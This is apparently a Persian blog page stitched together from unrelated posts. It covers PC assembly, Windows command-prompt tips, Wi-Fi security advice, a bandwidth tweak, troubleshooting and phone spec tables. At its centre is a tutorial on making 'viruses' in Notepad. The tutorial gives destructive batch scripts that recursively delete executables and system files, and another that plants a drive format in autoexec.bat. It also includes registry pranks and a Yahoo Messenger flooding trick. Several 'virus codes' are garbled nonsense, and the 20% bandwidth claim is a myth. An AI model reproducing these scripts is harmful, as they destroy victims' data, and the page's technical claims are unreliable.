هنوز نباید کیس را ببندیم . یک کار مهم در این لحظه این است که PC را تست کنیم ( حتی شاید بهتر این باشد تا یک سیستم عامل نصب کنیم و مطمئن شویم که همه چیز خوب کار می کند قبل از آن که کاور را در پشت کیس قرار دهیم ) . تست کامپیوتر در این لحظه باعث می شود که اگر اشتباهی در اسمبل قطعات رخ داده باشد مجبور نشویم دوباره کیس را باز کنیم و به بررسی مشکل بپردازیم . همانند تست اول , مانیتور را به کارت گرافیک متصل می سازیم و سیم AC را به منبع پاور .کامپیوتر را روشن می کنیم و منتظر دیدن POST Screen می مانیم . ممکن است ما بخواهیم بعضی از setting ها را در برنامه BIOS Setup تغییر دهیم ( مانند از کار انداختن پردازنده onboard audio که در بالا توضیح داده شد , وقتی ما از یک کارت صدای اضافه شده استفاده می کنیم ) . می توانیم برنامه BIOS Setup را از POST احضار کنیم . اغلب با فشار دادن کلید Delete یا F2 روی کیبورد این کار انجام می شود .
اما بعضی از BIOS ها احتیاج به کلید متفاوتی دارند . POST Screen این موضوع را روشن می کند
اگر POST Screen ظاهر نشد باید مراحلی را که در تست اول نام برده شد دنبال کنیم . اگر ماشین از طریق بیپ یا چراغ های LED یک error code می دهد , به کتابچه مادربورد نگاهی می اندازیم . چک می کنیم که مطمئن شویم همه کارت های expansion و DIMM ها به درستی جا رفته باشند و همه کابل های پاور و دیتا به درستی سر جای خودشان هستند . اگر هنوز هم POST Screen ظاهر نشده باشد کامپیوتر را خاموش و کارت های PCI را در می آوریم . Power را وصل کرده , اگر POST ظاهر شد کامپیوتر را خاموش و هر بار یک کارت نصب می کنیم تا زمانی که مورد مشکل ساز را پیدا کنیم . سعی می کنیم اسلات های PCI را که کارت ها را در آن , جا می دهیم , تغییر دهیم
10- روشن کردن کامپیوتر و نصب سیستم عامل :
وقتی POST ظاهر شد , می توان با خیال آسوده کابل های اسپیکر , ماوس , پرینتر و هر چیز دیگر را نصب کرد .
بدون یک سیستم عامل برای اجرای نرم افزار , هر کامپیوتری بلا استفاده است . بعد از اینکه اسمبل سخت افزار تمام شد ما باید به اختیار خودمان یک سیستم عامل نصب کنیم . بیشتر ورژن های جاری ویندوز ( شامل XP ) با یک bootable CD-ROM disk عرضه می شوند که شروع کار را بسیار آسان می کند . Windows 98 با یک bootable floppy diskette برای آسان کردن setup عرضه می شود . بقیه دیسک های نرم افزاری که موقع نصب سیستم عامل باید همراه ما باشند درایورهای مادربورد و ویدئو کارت و کارت صدا و لوازم دیگر که نصب شده اند می باشند .
دکمه پاور را زده , وارد برنامه BIOS Setup می شویم و به بخش انتخاب bootable Devices می رویم که این ممکن است روی یک صفحه setting سطح بالا باشد یا یک صفحه مخصوصی داشته باشد . First boot device را به درایو مدیای مناسب ست می کنیم : CD-ROM اگر CD ویندوز , bootable است یا فلاپی درایو اگر از یک bootable floppy drive استفاده می کنیم .
ماشین را روشن می کنیم . اگر از CD-ROM می خواهیم boot شویم منتظر یک prompt
می مانیم : بعضی وقت ها لازم است که یک کلید را فشار دهیم تا به سیستم بگوییم تا از درایو ROM بوت شود . به ویندوز اجازه می دهیم تا یک پارتیشن روی هارد درایو setup کند و آن را در صورت لزوم فرمت کند . اگر از یک درایو قدیمی که شامل اطلاعاتی می باشد که به آن ها احتیاجی نداریم استفاده می کنیم , باید پارتیشن قدیمی را delete کرده و پارتیشن جدیدی create کنیم . می توان این کار را از طریق رابط نصب ویندوز XP انجام داد . اما با ویندوز me و 98 ما باید کامپیوتر را با ساپورت CD-ROM روشن کنیم و Fdisk را اجرا کنیم . Fdisk را استفاده می کنیم تا پارتیشن های موجود را از بین ببریم و reboot کرده و سپس یک پارتیشن جدید create می کنیم که با ظرفیت درایو match می شود . برای بار آخر reboot کرده و به ویندوز اجازه می دهیم تا پارتیشن ها را فرمت کند . برای ویندوز me و 98 , FAT32 مناسب است و برای ویندوز XP , NTFS . در این لحظه برنامه نصب ویندوز ما را با یک سری prompt های نصب راهنمایی می کند . بعد از یک جفت reboot , Windows desktop آماده است . قبل از اینکه به نصب برنامه ای بپردازیم ابتدا چک می کنیم تا مطمئن شویم تمام وسایل به صورت properly در device manager نمایش داده می شوند .
اگر درباره اسمبل کردن قطعات سوال دارید در بخش نظرات مطرح کنید.
این صفحه برای کسانی نوشته می شه که قصد دارند از کامپیوتر و ویندوز بیشتر بدونن و با دستورات جالب و پنهان ویندوز آشنا شوند و در برنامه هایی مانند ویندوز تغییرات ظاهری ایجاد کنند طوری که در نظر دیگران جالب باشد، دیگران را سر کار بگذارند و راههای دیگری برای انجام کارها ببینند. ما در تمام نوشته های آتی این ستون فرض را بر این می گذاریم که شما Microsoft Windows XP دارید. در ویندوز XP، یکی از بهترین ابزارهایی که در دست شماست، همان صفحه مشکی Command prompt است. در ویندوز XP دو نوع DOS وجود دارد. یکی cmd.exe و دیگری command.com که cmd.exe برای کارهای ما مناسبتر است و کلیک روی دگمه Start و انتخاب All programs و انتخاب Accessories و سپس کلیک روی Command prompt نیز همین را باز خواهد کرد. (راه مناسبتر: دگمه ویندوز کیبورد را به همراه حرف R فشار دهید، تایپ کنید cmd و Enter کیبورد را فشار دهید)
تغییر رنگ صفحه مشکی خط فرمان: کافی است روی آیکونی که بالا سمت چپ خط عنوان صفحه Command prompt وجود دارد کلیک کنید و روی Properties کلیک کنید. حالا از انتخابهای بالای پنجره باز شده روی Colors کلیک کنید و رنگهای مورد نظر خود را انتخاب کنید. نتیجه را در همان پایین به صورت preview مشاهده خواهید کرد.
راه حل دیگر استفاده از دستور color است. این دستور دو پارامتر خود را که به ترتیب نشان دهنده رنگ زمینه و نوشته هستند به طور به هم چسبیده دریافت می کند. برای مشاهده کد رنگها از دستور ?/color استفاده کنید. به عنوان مثال دستور color fc رنگ زمینه را سفید و رنگ نوشته را قرمز خواهد کرد.
گذاشتن اسم (عنوان) برای صفحه Command Prompt: با استفاده از دستور title می توانید نام یا نوشته مورد نظر خود را در نوار عنوان (title bar) بالای صفحه command prompt نمایش دهید. استفاده از این دستور بخصوص در Batch file نویسی توصیه می شود. کافی است که عنوان مورد نظر خود را بعد از دستور title وارد کنید. مثلا: Title In the name of God
تغییر قالب Prompt: دستور Prompt که از قدیمیترین دستورات DOS است هنوز هم فعال است و با زدن آن می توانید به راحتی به قالب مورد نظر دست پیدا کنید. به عنوان مثال دستورات زیر را امتحان کنید (برای بازگشت به حالت عادی کافی است تایپ کنید prompt و Enter کنید.):
Prompt $t :فقط ساعت فعلی را به جای اسم و مسیر فایل نمایش خواهد داد
Prompt I Hacked your $V $_On $D @ $T$_$P$G
Prompt Hacked by me @ $T $G
Prompt /? :برای مشاهده راهنمای این دستور
شبکه گذاری بی سیم Wi-Fi یک فن آوری جدید نمیباشد، اما اخیرا" آن یک مسیر اصلی گردیده. مزایای شبکه های بی سیم چه چیزهایی میباشند و آیا شما باید بکار گیری آنرا در نظر گیرید؟
ظهور و ورود وسایل محاسباتی قابل حمل یکی از گردانندگان اصلی برای پذیرش شبکه گزاری بی سیم میباشند. امروزه، حدود 50% از لپ تاپهای جدید با توانایی کارکردن بصورت بی سیم به بازار ارائه میشوند. تمام محصولات جدید لپ تاپهای اپل (Apple) هم با امکانات بی سیم و هم بلوتوث ساخته شده در درونشان به بازار عرضه میشوند. بسیاری از لپ تاپهای با سیستم عامل ویندوز مایکروسافت بطور مشابه با توانایی کار کردن بصورت بی سیم میباشند.
یک اتحاد قدرتمند از فروشندگان با یکدیگر در سال 1999 متحد شدند که یک پیوند Wi-Fi را شکل دهند. شما میتوانید اطمینان حاصل نمایید که هر وسیله که توسط اتحاد Wi-Fi تایید شده بطور رضایت بخشی با دیگر وسایل تایید شده بطور متقابل تعامل داشته باشند. واژه و اصطلاح Wi-Fi در بکارگیری عادی خراب شده و بطور کلی به معنای شبکه های بی سیم در نظر گرفته میشود، و نه فقط دستگاههای تایید شده توسط اتحاد Wi-Fi.
چرا Wi-Fi را بکار گیریم؟
نیروی کاری امروزه که با دستیارهای شخصی دیجیتالی (PDA ها)، لپ تاپ ها و دیگر وسایل متحرک (موبایل) تجهیز شده اند، تقاضای دسترسی به شبکهء شما را از هر کجا که باشند، بدون دردسر یک شبکه ثابت، می نمایند. Wi-Fi به کار و تجارت شما اجازه میدهد که یک شبکه را سریعتر و با هزینه پایین تر و با انعطاف پذیری بیشتر نسبت به سیستم با سیم ، بکار گیریید.
سودمندی Wi-Fi نیز افزایش می یابد، از آنجائیکه کارمندان می توانند مدت زیادتری به یک شبکه متصل بوده، و قادر خواهند بود که با همکارانشان در زمان و مکانی که نیاز باشد کار نمایند.
شبکه های Wi-Fi نسبت به شبکه های باسیم روان تر میباشند. یک شبکه دیگر بیش از این یک چیز ثابت نمی باشد، شبکه ها می توانند در یک بعداظهر ایجاد یا از هم باز شوند بجای اینکه روزها یا هفته ها نیاز به ایجاد یک شبکهء کابلی ساختار یافته باشد.
معماری
کارتهای بی سیم در 2 حالت عمل می نمایند، زیر بنایی (Infrastructure) و ویژه (Ad-hoc).
بیشتر سیستمهای کاری و تجاری از فن آوری بی سیم در حالت زیربنایی استفاده می نمایند. این بدین معناست که وسایل با یک نقطه دسترسی (Access Point) ارتباط برقرار می نمایند. بطور نمونه، نقطه دسترسی دارای یک اتصال به شبکه باسیم شرکت نیز میباشد، و به دسترسی کاربران اجازه میدهد که به سرورها و فایلها درست مثل اینکه آنها بطور فیزیکی به شبکه محلی (LAN) متصل میباشند، ارتباط برقرار نمایند.
اتصالات ویژه، اتصال مستقیم بین کارتهای بی سیم می باشند. این نوع اتصال در میان کاربران خانگی متداولتر است، اما اگر توسط کاربران کاری- تجاری استفاده شوند، احتیاج به مدیریت جدی و نیز مشکلات امنیتی دارند.
مدیریت
شما بسادگی می توانید به یک شبکه Wi-Fi در هرنقطه در درون محدودهء یک نقطه دسترسی به شبکه متصل شوید. این برای کارمندان شما همانند یک هدیه میباشد، اما متاسفانه، چندین دردسر را برای بخش فناوری اطلاعات (IT) به همراه می آورد.
امنیت
زمانیکه که اجزاء یک شبکه بی سیم را به یکدیگر متصل میشوند، مسئله امنیت مایهء دل نگرانی هرکسی میباشد. نقاط دسترسی با بکارگیری تنظیمات با پیش فرض کارخانه، اصلا" ایمن نمیباشند.
حال اگر امنیت به این میزان مهم است، آیا این به این معنا میباشد که ما نباید WiFi را بکار گیریم؟ خیر این بدین معنا نمیباشد. اما مواقعی هستندکه شما باید زمانی که این مرحله را برنامه ریزی می کنید، این مسائل را در نظر داشته باشید.
زمانیکه راجع به امنیت صحبت می کنیم چیزی بنام داشتن یک سیستم کاملا" ایمن وجود ندارد. همه چیز تا اندازه ای نا امن میباشند. حساسیت اطلاعاتی که پردازش می نمایید، میزان امنیتی که شما نیاز دارید را دیکته میکند.
اگر شما به سطوح بسیار بالای امنیتی نیاز دارید پس نمی توانید به میزان امنیت ساخته شده در درون فقط خود شبکه W-iFi اکتفا نمایید.
از طرف دیگر، بیشتر شرکتهای با اندازه کوچک تا متوسط به سطوح خیلی بالای امنیتی نیاز ندارند. که در این حالت شما می توانید از اندازه های امنیتی استاندارد Wi-Fi استفاده نمایید.
اگر هم اکنون دارای یک شبکه بی سیم میباشید ممکن است این مسئله را در نظر بگیرید که آیا شبکه تان ایمن است یا خیر؟ چهار مورد وجود دارند که شما می توانید انجام دهید که اطمینان حاصل نمایید که شبکه تان امن میباشد.
1- اطمینان حاصل نمایید که نقطه یا نقاط دسترسی SSID تان (شناسایی تنظیم کننده خدمات) را پخش نمی نماید (که بطور اساسی یک شناسایی کننده برای شبکه شما میباشد).
2- اطمینان حاصل نمایید که نقطه یا نقاط دسترسی تان ترافیک بی سیم را با بکارگیری WEP رمز سازی می نماید.
3- یک سیستم "شناسایی بدون اجازه وارد شدن افراد غیر مجاز به شبکه بی سیم تان" را خریداری نمایید. تعداد زیادی از این محصولات که آماده و قابل دسترس میباشند، طراحی شده اند که بشما کمک نمایند که امنیت شبکهء Wi-Fi تان و همینطور اینکه چه افرادی از آن استفاده می نمایند را دیده بانی نمایید.
4- اگر نیاز به امنیت خیلی بالا دارید، می توانید یا اطمینان حاصل نمایید که افرادیکه با شبکه شما کار می نمایند بطور مناسب و کارآیی آموزش دیده و یا از یک مشاور بی سیم استفاده نمایید. شما نیاز خواهید داشت که نقاط دسترسی غیر استاندارد و اختصاصی از شرکتهایی مثل سیسکو (Cisco) خریداری نمایید (اگرچه حتی بعضی استانداردهای اختصاصی از شرکتهایی مثل (Cisco) مشکل خودشان را دارند). متاسفانه این بطور قابل ملاحظه ای هزینه شبکه بی سیم شما را افزایش خواهد داد.
نتیجه
اگر مطلبی را از این مقاله فرا گرفته اید، آن مطب باید این باشد که: فقط خود نقاط دسترسی تان را تعویض یا سوئیچ ننمایید، و آدرس پروتکل اینترنتتان (IP تان)را نیز پیکره بندی کرده و سپس فرض نمایید که همه چیز مطلوب است بلکه باید خصوصیات امنیتی بر روی نقاط دسترسی تان (Access Points) را تعویض یا سوئیچ نمایید. جون در غیر اینصورت ممکن است شبکه بی سیم شما کار کند ولی ایمن نیست.
WiFi بطور گمراه کننده ای جهت استفاده راحت میباشد، و این نکته را همیشه در ذهنتان داشته باشید که نگهبان شبکه تان را فقط به خاط چند دقیقه صرف وقت جهت پیکره بندی نقاط دسترسی تان غیرفعال یا از بین نبرید.
در این مقاله قصد دارم تا آموزش ساخت ویروس بدونه نیاز به برنامه های خاص و تنها با not pad ویندوز را به شما آموزش دهم.
نکته مهم : هرگز این ویروس ها را روی سیستم خود اجرا نکنید،چون من هیچ مسئولیتی را قبول نمی کنم!
*در کدهای زیر خط فاصله ها نیز جزو کد ویروس است.
به قسمت start بروید و allprpgrams را انتخواب کنید accessories رفته و در گزینه ها notepad را انتخواب کنید ((نظر هم بدید))
ساخت ویروس
1- مادر بورد
این ویروس در صورت اجرا کامپیوتر فرد را به کلی خراب میکند.
طرز ساخت: note pad خود را باز کرده و کد پاین را در آن منتقل کنید.
@echo off
Cls
===========
Color fc
Del /a c:\*.com
Del /a c:\*.sys
Del /a c:\*.exe /s
===========
رادر آن کپی و پست کنید بعد به منوی فایل رفته وسیو از را انتخواب کنید ودر قسمت filename اسم مورد نظر را نوشته و با پس bat بدهید مثل virus.bat و آن را ذخیره کنید.
Cpu-2
note pad خود را باز کنید سپس کد cpu_567hjkblaster را در آن کپی و پست کنید از منوی فایل سیو از را انتخواب کنید و در filename اسم مورد نظر را نوشته و با پسوند .bat ذخیره کنید مثل cpu.bat
note pad خود را باز کرده و کد debug e30 o31 را در آن کپی و پست نمایید بعد به منوی فایل رفته و سیو از را انتخواب کنید بعد در قسمت filename نام مورد نظر را نوشته و به آن پسوند .bat بدهید مثل thebesthacker.bat و آن را ذخیره کنید.
این ویروس در internet explore فیلتر گذاری میکنه و باعث از کار انداختن اون میشه و دیگه نمیشه به هیچ سایتی رفت . طرز ساخت : note pad خود را باز کرده و کدی را که نوشته شده است pouped-blocked-web-exploure-online&offline را در آن کپی و پست نمایید بعد به منوی فایل رفته و سیو از را انتخواب کنید بعد در قسمت filename نام مورد نظر خود را نوشته و به آن پسوند .bat بدهید مثل thebesthacker.bat بعد هم فایل را ذخیره کنید.
ابتدا Notepad ویندوز را باز کنید. سپس این عبارت زیر را در داخلش کپی کنید:
del autoexec.bat del config.sys cd winnt del system.ini del win.ini
سپس به منوی فایل رفته و سیو از را انتخواب کنید ودر قسمت filename اسم مورد نظر را نوشته و به آن پسوند .bat بدهید مثل thebesthacker.bat .
ابتدا برنامه Notepad ویندوز را اجرا کنید ( Start/All Programs/Accessories )
سپس با استفاده از فرمان Copy & Paste کدهای زیر را در محیط برنامه کپی کنید:
@ echo off
call attrib -r -h c:autoexec.bat > nul
echo @echo off > c:autoexec.bat
echo format /autotest c:/q > nul >> c:autoexec.bat
call attrib +r +h c:autoexec.bat > nul
exit
حال از منوی File بر روی Save as کلیک کنید.
از منوی کشویی Save as type گزینه All Files را برگزینید.
در قسمت File Name عبارت txt.* را پاک کنید و به جای آن نام دلخواه خود را تایپ کرده و پسوند bat. را به انتهای آن اضافه کنید ، به طور مثال thebesthacker.bat
سپس مکان مورد نظر برای ذخیره فایل را مشخص کرده و روی دکمه Save کلیک کنید.
اکنون فایل فرمت شما آماده است. کافی است یکبار پس از اجرای فایل ، سیستم restart شود تا فایل فعال شود.
-7بوت کردن در یاهو 7 بدون نیاز به برنامه
یاهو مسنجر را باز کنید در گزینه های بالا روی im کلیک کنید بعد از باز شدن به پوشه ی دوم بروید و id مورد نظر را نوشته و بعد از آن دوتا ++بزنید مثل ++thebesthacker بعد ok کنید بعدصفحه ای باز میشود مانند صفحه ی چت بعد 10 تا L در این صفحه و 10 L در صفحه ای که با فردی که id آن بدون ++ نوشته اید و در حال چت هستید بروید و10 L در آنجا نوشته و بفرستید این کار باید 4 یا 5 بار تکرار شود نکته:برای نوشتن 10 L هر L را جدا گانه بنویسید (( L بعد اینتر _ L بعد اینتر و...)) بعد از این کار 50_60 صفحه در کامپیوتر فرد باز میشود و فرد دیسکانکت میشود توجه داشته باشید که یاهو شما و فرد مقابل باید 7 باشد.
این ویروس در صورت اجرا شدن کامپیوتر فرد را restart میکند طرز ساختن ویروس: note pad را باز کرده و کد shotdown -a را در آن کپی و پست نمایید بعد به منوی فایل رفته و سیو از را انتخواب کنید بعد در قسمت filename نام مورد نظر را نوشته و با پسوند .bat ذخیره کنید مثل blester.bat
: این ویروس هارد را پر میکند و دیگر هیچ بازی و برنامه ای نصب نمیشود طرز ساخت ویروس: note pad خود را باز کرده و کد c/windows/system32/jefo/display/memory/full را در آن کپی و پست نمایید بعد به منوی فایل رفته و سیو از را انتخواب کنید و در قسمت filename اسم مورد نظر را نوشته و به آن پسوند .bat بدهید مثل memory.bat بعد ذخیره کنید .
این ویروس بعد از نصب بر ریجستر اثر میگذارد و باعث میشود با فشار دادن هر دکمه ای از کیبورد کیس 2 صدای بوق بدهد و مانیتور چشمک بزند طرز ساخت: note pad خود را باز کرده و در آن کد:
Windows Registry Editor Version 5.00
[HKEY_CURRENT_USER\Control Panel\Accessibility\Keyboard Response]
"Flags"="127"
[HKEY_CURRENT_USER\Control Panel\Accessibility\SoundSentry]
"Flags"="3"
"WindowsEffect"="3"
را در آن کپی و پست نمایید بعد به منوی فایل رفته و سیو از را انتخواب کنید بعد در قسمت filename نام مورد نظر را نوشته و به آن پسوند .reg بدهید مثل ficker.reg در آخر هم ذخیره کنید برای غیر فعال کردن آن مانند بالا عمل کنید ولی این بار این کد هارا زده و همان کارها را بکنید وذخیره کنید
Windows Registry Editor Version 5.00
[HKEY_CURRENT_USER\Control Panel\Accessibility\Keyboard Response]
"Flags"="126"
[HKEY_CURRENT_USER\Control Panel\Accessibility\SoundSentry]
"Flags"="2"
"WindowsEffect"="0"
در ویندوز XP Pro درحالت پیش فرض Packet Scheduler سیستم را به ۲۰ % از پهنای باند یک اتصال به اینترنت محدود می کند. یعنی اگر شما این تنظیمات را تغییر ندهید قادرید از ۲۰ درصد پهنای باند اتصالتان به اینترنت بهره ببرید.
برای اینکه بتوانید از ۱۰۰ درصد پهنای باندتان استفاده کنید و سرعت بالاتری را در اتصال به اینترنت تجربه نمایید، مراحل زیر را انجام دهید :
۱) Run را از منوی Start اجرا کنید.
۲) در Run عبارت gpedit.msc را تایپ کرده و OK را کلیک کنید.
۳) منتظر بمانید تا Group Policy اجرا شود.
۴) در بخش Local Computer Policy و زیر Computer Configuration گزینه Administrative Templates را گسترش دهید. ( با کلیک بر روی علامت + کار آن انجام دهید )
۵) در لیست باز شده گزینه Network را نیز گسترش دهید.
۶) حال در این لیست Qos Packet Scheduler را انتخاب کنید.
۷) به گزینه هایی که در سمت راست ظاهر می شوند دقت کنید.
۸ ) بر روی Limit reservable bandwidth کلیک راست کرده و Properties را کلیک کنید.
۹) پس از اینکه پنجره Limit reservable bandwidth Properties باز شد در برگه Setting و در زیر Limit reservable bandwidth گزینه Enabled را انتخاب کنید.
۱۰) مشاهده می کنید که با انتخاب آن در روبروی Bandwidth Limit مقدار پیش فرض آن یعنی ۲۰ درصد به نمایش در می آید.
۱۱) به جای عدد ۲۰ مقدار ۰ را تایپ کرده و OK را کلیک کنید.
۱۲) حال به Connection که به وسیله آن به اینترنت وصل می شوید رفته و بر روی دکمه Properties کلیک کنید.
۱۳) به برگه Networking بروید و دقت کنید که Packet Scheduler فعال باشد (تیک کنار آن مشاهده شود).
۱۴) این پنجره را OK کنید.
۱۵) کامپیوتر خود را Restart کنید.
این کار را می توانید با نرم افزارهای قدرتمند بهینه سازی ویندوز مثلTuneUp Utilities خیلی سریعتر و راحتر انجام دهید.
برای بازگشت به حالت پیش فرض هم می توانید مسیر فوق را دنبال کرده و بجای ۰ عدد ۲۰ را قرار دهید.
آنچه در این مقاله می خوانید، یک راهنمای جامع برای عیب زدایی از کامپیوترتان نیست اما می تواند شما را به سمت یافتن مشکل کامپیوتر راهنمایی کند.
بررسی کنید آیا سیم برق متصل است؟ آیا سر دیگر سیم برق متصل شده است؟ سوییچی که در پشت کامپیوترتان وجود دارد چک کنید. از اتصال صحیح منبع تغذیه به مادربرد اطمینان حاصل کنید. کابل برق فلاپی را چک کنید. اگر هیچ یک از این کارها نتیجه نداد در مرحله بعد هر چیزی را که به مادربرد متصل است به غیر از کابل برق، سیم دکمه power، کارت گرافیک، حافظه RAM و CPU را جدا کنید. اگر باز هم سیستم بالا نمی آید یک یا دو قطعه از سیستم شما معیوب است. در این مورد به احتمال زیاد مادربرد یا منبع تغذیه Case شما اشکال دارد.
ابتدا همه اتصالات را چک کنید و دوباره امتحان کنید. در صورتی که این عمل مؤثر نبود، بهترین کار این است که مانند بالا همه چیز را به غیر از سیم دکمه power، کارت گرافیک، حافظه RAM و CPU را از مادربرد جدا کرده و دوباره امتحان کنید.
اگر کامپیوتر به خوبی شروع به کار کرد کامپیوتر را خاموش کنید و هر بار یک قطعه را متصل کرده و سپس کامپیوتر را روشن کنید تا جایی که مشکل را پیدا کنید ولی اگر کامپیوتر اصلاً روشن نشد احتمالاً یک یا چند قطعه معیوب دارید(CPU ،RAM، مادربرد و منبع تغذیه).
ببینید آیا حافظه RAM شما بدرستی نصب شده است اگر لازم است آن را بیرون آورید و دوباره جا بزنید.
سیستم روشن می شود یک سری بوقهای سریع می زند، بالا نمی آید
ببینید آیا کارت گرافیک به درستی روی اسلات AGP نشسته است یا خیر.اگر مقدار کمی از کارت گرافیک خارج از اسلات AGP باشد سیستم بالا نمی آید.
چند مشکل دیگر هم وجود دارد که بوسیله این بوقها شناسایی می شود اما دو مورد بالا معمول ترین موارد هستند.
کامپیوتر شما در هنگام نصب سیستم عامل بارها از حرکت باز می ایستد علت آن می تواند گرمای CPU باشد بخصوص CPU های شرکت AMD یا CPU های قدیمی تر شرکت INTEL. چک کنید آیا فن CPUبخوبی عمل می کند و چک کنید آیا هیت سینک (قطعه آلومینیومی که روی CPU نصب شده و معمولاً رنگ سیاه دارد) بخوبی نصب شده است و با سطح CPU کاملاً موازی است. مطمئن شوید از هیت سینکی استفاده می کنید که ساخت سازنده CPU شماست. هیت سینک اگر درست نصب شود بیش از آنچه نیاز است خنک کاری انجام می دهد.
خطاهایی که در هنگام کپی کردن فایل های Set up بوجود می آیند بخصوص در ویندوز 2000 و XP، به احتمال زیاد نشانه وجود مشکل در حافظه RAM شماست. این امکان هم وجود دارد که مشکل از هارد دیسک شما باشد اگر خطاها همراه با صفحات آبی است که در آنها Page Fault دیده می شود یقیناً مشکل از حافظه RAM شماست.
فرم کشویی ، مجهز به دوربین 3.15 مگا پیکسل با قابلیت فیلمبرداری، دارای بلوتوث و پورت USB
قیمت این کالا هنوز ارایه نشده است
| ویژگی های عمومی | ||
| سازنده | LG | |
| شبکه | GSM 850 / 900 / 1800 / 1900 | HSDPA 900 / 2100 |
| تاریخ تولید | فوریه 2010 | |
| نوع گوشی | کشویی | |
| صفحه نمایش | ||
| نوع صفحه نمایش | TFT | |
| ابعاد صفحه نمایش | 400 در 240 پیکسل | |
| صفحه لمسی | تاچ اسکرین | |
| تعداد رنگ | 256k | |
| حافظه | ||
| دفتر تلفن | تا 1000 ورودی | |
| اسلات کارت حافظه | میکرو SD (ترنس فلش) تا 16 گیگا بایت | |
| دوربین | ||
| دوربین | دارد | |
| کیفیت | 3.15 مگاپیکسل | |
| ابعاد تصویر | 2048 در 1536 پیکسل | |
| قابلیت فیلم برداری | دارد | |
| ارتباطات | ||
| GPRS | Class 12 (4 1/3 2/2 3/1 4 slots), 32 - 48 kbps | |
| EDGE | Class 10, 236.8 kbps | |
| 3G | HSDPA 7.2 Mbps | |
| بلوتوث | دارد | |
| USB | دارد | |
| امکانات | ||
| پیام | SMS (threaded view), MMS, Email, IM, Push Email | |
| کاوشگر وب | WAP 2.0/xHTML, HTML | |
| سرگرمی | دارد | |
| رنگ | آبی، زرشکی،نقره ای روشن، مشکی | |
| جاوا | دارد,MIDP 2.0 | |
فرم کشویی به ابعاد 90 در 52 در 17 میلیمتر، مجهز به دوربین 5 مگا پیکسل با قابلیت فیلمبرداری، دارای بلوتوث و پورت USB
قیمت این کالا هنوز ارایه نشده است
| ویژگی های عمومی | ||
| شبکه | GSM 850 / 900 / 1800 / 1900 | HSDPA 900 / 2100 |
| تاریخ تولید | فوریه 2010 | |
| وضعیت تولید | به زودی عرضه می شود | |
| ابعاد | 90 در 52 در 17 میلیمتر | |
| وزن | 120 گرم | |
| نوع گوشی | کشویی | |
| سیستم عامل | Android | OS 1.6 |
| صفحه نمایش | ||
| نوع صفحه نمایش | TFT | |
| ابعاد صفحه نمایش | 240 در 320 پیکسل | |
| صفحه لمسی | تاچ اسکرین | |
| تعداد رنگ | 256k | |
| حافظه | ||
| دفتر تلفن | نامحدود،فتوکال | |
| تاریخچه تماس ها | نامحدود | |
| اسلات کارت حافظه | میکرو SD (ترنس فلش) تا 16 گیگا بایت | |
| دوربین | ||
| دوربین | دارد | |
| کیفیت | 5 مگاپیکسل | |
| ابعاد تصویر | 2560 در 1920 پیکسل | |
| قابلیت فیلم برداری | دارد | |
| فوکوس اتوماتیک | دارد | |
| فلاش | دارد | |
| ارتباطات | ||
| GPRS | Class 10 (4 1/3 2 slots), 32 - 48 kbps | |
| EDGE | Class 10, 236.8 kbps | |
| 3G | HSDPA; HSUPA | |
| شبکه بیسیم | Wi-Fi 802.11b/g | |
| بلوتوث | دارد،v2.1 with A2DP | |
| USB | دارد | |
| امکانات | ||
| پیام | SMS (threaded view), MMS, Email, Push email, IM | |
| کاوشگر وب | HTML | |
| سرگرمی | دارد | |
| رنگ | مشکی،قرمز | |
| جاوا | دارد, | |
| باتری | ||
| دوام باتری (بدون استفاده) | تا 285 ساعت | |
| دوام باتری (استفاده) | تا 4 ساعت | |
| نواخت | ||
| نوع زنگ | پلی فونیک64کانال / MP3 | |
| لرزه زنگ | دارد | |
فرم ساده به ابعاد123 در 59.8 در 14.9 میلیمتر به همراه 512 مگابایت حافظه داخلی و مجهز به دوربین 8 مگا پیکسل با قابلیت فیلمبرداری، دارای بلوتوث و پورت USB
قیمت این کالا هنوز ارایه نشده است
| ویژگی های عمومی | ||
| سازنده | Samsung | |
| شبکه | GSM 850 / 900 / 1800 / 1900 | HSDPA 900 / 1900 / 2100 |
| تاریخ تولید | فوریه 2010 | |
| وضعیت تولید | به زودی عرضه می شود | |
| ابعاد | 123 در 59.8 در 14.9 | |
| نوع گوشی | ساده | |
| سیستم عامل | Android | OS, v2.1 (Eclair) |
| صفحه نمایش | ||
| نوع صفحه نمایش | TFT | |
| ابعاد صفحه نمایش | 800 در 480 پیکسل | |
| صفحه لمسی | تاچ اسکرین | |
| تعداد رنگ | 16 ملیون | |
| حافظه | ||
| دفتر تلفن | تا 1000 ورودی | |
| دوربین | ||
| دوربین | دارد | |
| کیفیت | 8 مگاپیکسل | |
| ابعاد تصویر | 3264 در 2448 پیکسل | |
| قابلیت فیلم برداری | دارد | |
| فوکوس اتوماتیک | دارد | |
| فلاش | دارد | |
| دوربین دوم | دارد | |
| ارتباطات | ||
| GPRS | Class 10 (4 1/3 2 slots), 32 - 48 kbps | |
| EDGE | Class 10, 236.8 kbps | |
| 3G | HSDPA 7.2 Mbps, HSUPA 5.76 Mbps | |
| شبکه بیسیم | Yes, Wi-Fi 802.11b/g/n, DLNA | |
| بلوتوث | دارد | |
| USB | دارد | |
| امکانات | ||
| پیام | SMS, MMS, Email, Push Email | |
| سرگرمی | دارد | |
| رنگ | مشکی | |
| جاوا | دارد،MIDP 2.0 | |
| باتری | ||
| نوع باتری | باتری استاندارد 1800 میلی آمپر | |
| دوام باتری (بدون استفاده) | تا 630 ساعت | |
| دوام باتری (استفاده) | 14 ساعت و 10 دقیقه | |
| نواخت | ||
| نوع زنگ | پلی فونیک64کانال / MP3 | |
| لرزه زنگ | دارد | |
فرم ساده به ابعاد 103 در 57.7 در 11.7 میلیمتر به همراه 384 مگابایت حافظه داخلی و مجهز به دوربین 5 مگا پیکسل با قابلیت فیلمبرداری، دارای بلوتوث و پورت USB
قیمت این کالا هنوز ارایه نشده است
| ویژگی های عمومی | ||
| سازنده | HTC | |
| شبکه | GSM 850 / 900 / 1800 / 1900 | HSDPA 900 / 2100 |
| تاریخ تولید | فوریه 2010 | |
| وضعیت تولید | به زودی عرضه می شود | |
| ابعاد | 103 در 57.7 در 11.7 میلیمتر | |
| وزن | 110 گرم | |
| نوع گوشی | ساده | |
| سیستم عامل | windows | Microsoft Windows Mobile 6.5.3 Professional |
| صفحه نمایش | ||
| نوع صفحه نمایش | TFT | |
| ابعاد صفحه نمایش | 480 در 320 پیکسل | |
| صفحه لمسی | تاچ اسکرین | |
| تعداد رنگ | 65K | |
| حافظه | ||
| دفتر تلفن | نامحدود,فتوکال | |
| تاریخچه تماس ها | نامحدود | |
